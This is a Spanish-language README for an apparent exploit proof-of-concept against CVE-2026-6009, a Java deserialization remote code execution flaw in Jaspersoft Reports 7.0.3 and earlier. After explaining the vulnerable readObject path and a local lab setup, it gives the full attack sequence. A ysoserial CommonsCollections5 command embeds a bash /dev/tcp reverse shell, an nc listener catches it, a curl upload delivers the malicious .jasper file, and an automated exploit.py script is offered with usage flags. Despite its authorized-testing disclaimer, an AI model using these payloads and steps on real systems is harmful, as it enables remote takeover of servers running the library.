
Exploit PoC automatizado para CVE-2026-6009, una RCE por deserialización de Java en Jaspersoft Reports <=7.0.3. Genera cargas maliciosas .jasper mediante ysoserial y entrega una reverse shell a través del endpoint de carga de archivos.
⚠️ Descargo de responsabilidad: Este repositorio es solo para fines educativos y pruebas de seguridad autorizadas. No lo utilice en sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas.
La biblioteca Jaspersoft report versión <= 7.0.3 es vulnerable a una ejecución remota de código (RCE) mediante la explotación del flujo de deserialización de Java. Esta vulnerabilidad permite a un atacante realizar una conexión con una shell inversa en el sistema que utiliza esta versión de la biblioteca.
Para transmitir datos, algunos sistemas deben convertir objetos en un formato transmisible determinado, esto es la serialización. La deserialización es la operación inversa. En Java, el mecanismo vulnerable está en ObjectInputStream.readObject() que se utiliza para deserializar cualquier objeto a partir de un flujo de entrada. Dado que utiliza este método para leer archivos de informes en la biblioteca Jaspersoft, es un punto de entrada peligroso para introducir código malicioso.
JRLoader.loadObject()Solo readObject() no es suficiente para desencadenar código. Solo funciona en clases conocidas explotables. Entonces los atacantes utilizan cadenas de gadgets conocidas como CommonCollection para ejecutar sus cargas útiles.
Para poder hacer una Prueba de Concepto (PoC), monté un laboratorio en una máquina Parrot con un servidor web Java utilizando la biblioteca Jaspersoft Report:
SO : Parrot OS 7 GNU/Linux Framework: Spring Boot version 2.7.18 Dependencia: Jasperreports version 7.0.3 Entorno: Java 11 Compilador: Maven
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() appelé en interne par JRLoader
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
Para el primer paso, una vez que sepas que tu sistema objetivo utiliza una versión vulnerable de Jasperreport, necesitas encontrar el destino exacto donde el objetivo recibirá el archivo jasper.
En este entorno, es http://localhost:8080/upload-report
Luego necesitas encontrar una manera de descubrir qué clase puede utilizarse como cadena de gadgets en el sistema objetivo. También puedes probar algunas y ver cuál desencadena el sistema.
En un contexto de caja blanca, podemos buscar esta información por nosotros mismos:
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
Encontramos que el sistema utiliza CommonsCollections.
Para CommonsCollections, utiliza el script ysoserial para generar la carga útil que desees. Aquí, haz una shell inversa:
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
Probablemente necesitarás probar varias versiones de CommonCollections para ejecutar la carga útil.
Para realizar una conexión de shell inversa, necesitamos escuchar en un puerto para recibir la conexión del sistema objetivo iniciada por la carga útil:
nc -lnvp 4444
Finalmente, solo tienes que enviar la carga útil que creaste en la ubicación que encontraste y comprobar tu puerto para confirmar que la conexión se ha establecido desde el sistema objetivo:
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
Un atacante con acceso al endpoint podría ejecutar código arbitrario con privilegios de servidor, lo que podría llevar a un compromiso total del sistema.
exploit.py es un script automatizado para reproducir la explotación de la vulnerabilidad CVE-2026-6009.
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| Bandera | Descripción |
|---|---|
| -t, --target | Ubicación donde subir el archivo .jasper |
| -s, --source | Tu dirección IP |
| -p, --port | El puerto al que deseas que se conecte la shell inversa |